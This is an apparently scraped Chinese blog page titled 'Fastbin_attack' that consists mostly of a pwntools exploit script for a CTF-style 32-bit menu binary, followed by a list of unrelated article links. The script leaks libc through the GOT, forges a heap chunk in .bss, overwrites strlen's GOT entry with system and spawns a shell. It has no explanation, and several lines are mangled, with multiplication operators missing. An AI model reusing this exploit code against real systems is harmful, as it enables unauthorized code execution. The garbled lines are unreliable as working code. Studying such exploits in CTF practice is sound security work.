当前位置: 首页 > news >正文

Fastbin_attack

from pwn import *

context(arch='i386', os='linux')
context.log_level = 'debug'

context.terminal = ['tmux', 'splitw', '-v' ,'-p', '70']

binary_path = './pwn'
libc_path = './libc.so.6'
ld_path = './ld-2.23.so' # 本地调试ld版本

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m') # 橙色日志,醒目

elf = ELF(binary_path)
libc = ELF(libc_path)
ld = ELF(ld_path) # 本地调试ld版本

sl = lambda data : io.sendline(data)
sd = lambda data : io.send(data)
sla = lambda delim, data : io.sendlineafter(delim, data)
sda = lambda delim, data : io.sendafter(delim, data)
rc = lambda n : io.recv(n)
rl = lambda : io.recvline()
ru = lambda delim, drop=True : io.recvuntil(delim, drop=drop)

LOCAL = True

if LOCAL:
env = {
'LD_LIBRARY_PATH': '.',
'LD_PRELOAD': libc_path,
}

io = process([ld_path, binary_path], env=env)
# io = gdb.debug([ld_path, binary_path], env=env, gdbscript='break main')
else:
io = remote('host', 12345)

def dbg(conf=''):
if LOCAL:
gdb.attach(io, gdbscript=conf)
pause()

def pa():
pause()

def add(name, desc):
# pa()
# ru(b'Action: ')
sl(b'1')
# ru(b'Rifle name: ')
sl(name)
# ru(b'Rifle description: ')
sl(desc)

def show():
# pa()
# ru(b'Action: ')
sl(b'2')

def order():
# pa()
# ru(b'Action: ')
sl(b'3')

def notice(notice):
# pa()
# ru(b'Action: ')
sl(b'4')
# ru(b'Enter any notice you'd like to submit with your order: ')
sd(notice)

def show_order():
# pa()
# ru(b'Action: ')
sl(b'5')
# ru(b'======================')

def Exit():
# pa()
# ru(b'Action: ')
sl(b'6')

name = b'a'0x1b + p32(elf.got['puts'])
desc = b'b'
0x19
add(name, desc)

show()
ru(b'Description: ')
ru(b'Description: ')
puts_addr = u32(ru(b'\n', drop=True)[:4])
li('puts addr: ' + hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh'))
li('libc base: ' + hex(libc_base))
li('system addr: ' + hex(system_addr))
li('/bin/sh addr: ' + hex(binsh_addr))

i=0
while i<0x3f:
print('#'20 + ' ' + str(i+1) + ' ' + '#' * 20)
add(b'A'
27+p32(0), b'B'*25)
show()
ru(b'\nDescription: ')
i+=1

bss_addr = 0x0804A2A8
add(b'C'27+p32(bss_addr), b'D'25)

Not = b'\x00' * 0x20 + p32(0x40) + p32(0x100)
Not = Not.ljust(52, b'b')
Not += p32(0)
Not = Not.ljust(128, b'c')
notice(Not)

sl(b'\n')
order()

name=b'e'*0x20
des= p32(elf.got['strlen']).ljust(0x20, b'e')
add(name, des)
li('sys addr: ' + hex(system_addr))
notice(p32(system_addr)+b';/bin/sh\x00')

io.interactive()

http://www.rkmt.cn/news/1372422.html

相关文章:

  • 3分钟让AI自动分层?LayerDivider如何拯救你的PSD编辑噩梦
  • 一文搞懂:Dockerfile与docker-compose实战——从编写Dockerfile到多容器编排,Spring Boot项目镜像打包全攻略
  • Django 从 0 到 1 打造完整电商平台:商品排序与浏览量统计
  • 【无人机三维路径规划】基于circle序列和正余弦策略的APO和CO算法无人机集群路径规划附Matlab代码
  • DeepSeek配额策略失效的7个静默信号(第5个90%工程师都忽略),立即执行这1次curl诊断脚本保生产稳定
  • ChatGPT路演PPT背后的资本语言学:用BERT模型分析217份AI融资材料,发现高过会率PPT共有的8个动词密度阈值
  • 2026GEO公司哪家好:全球AI搜索流量迁移与大模型认知主权争夺战 - GEO优化
  • Solid.js信号驱动架构深度解析:告别虚拟DOM的真正实践
  • 如何用GHelper实现华硕笔记本性能与静音的完美平衡
  • 后端架构技术01-「10万并发压垮线程池?Project Loom虚拟线程:一个线程几KB,轻松扛住流量洪峰」
  • Taotoken的API Key管理与审计日志功能实践体验
  • 昇腾NPU的算子公共平台,实现M×N算子复用
  • 火盾声学材料:安庆地区防火吸音板综合解决方案,玻纤吸音板/演播厅空间吸声体/布艺软包吸音板,防火吸音板源头厂家有哪些 - 品牌推荐师
  • 论文初稿被批太水?青年教师力荐这几个AI论文写作软件
  • JavaScript 比较
  • 今天不用就过期:Gemini深度研究模式2024Q3权限变更预警——3类高价值功能即将对免费用户关闭
  • 洛谷 P11398
  • 5月20号
  • 如何解锁索尼相机的隐藏功能:OpenMemories-Tweak完整指南
  • 日志爆炸时代如何不被淹没?DeepSeek智能分析方案全链路实操,含Prometheus+Loki+DeepSeek三端联调手册
  • Java学习笔记:多态
  • ChatGPT记忆功能安全风险预警,3大数据泄露漏洞已验证(附GDPR/等保2.0合规配置清单)
  • C++的STL
  • DLSS Swapper深度解析:如何实现跨平台游戏DLSS版本智能管理
  • 【优化调度】基于改进遗传算法求解带时间窗约束多卫星任务规划附Matlab代码
  • 2026年5月有实力的一体化污水提升泵站/一体化泵站厂家推荐河北铄康环保设备有限公司,水质适应性广各类浑浊污水均可稳定输送处理 - 品牌鉴赏师
  • 溧阳沙发翻新换皮换布面靠谱商家优选推荐|匠阁沙发翻新、御匠沙发翻新、锦修沙发翻新三大品牌、全品类沙发翻新换皮换布一站式服务 - 卓信营销
  • 建立在不同的基线模型上,GAT,GCN,和GIN
  • 2026年5月优秀的EPS外墙装饰/EPS装饰线条厂家推荐丰县建鑫泡沫制品有限公司,雕花构件定制打造建筑独特标识 - 品牌鉴赏师
  • 2026长岛民宿排名指南,长岛海东渔家民宿没白来! - 资讯纵览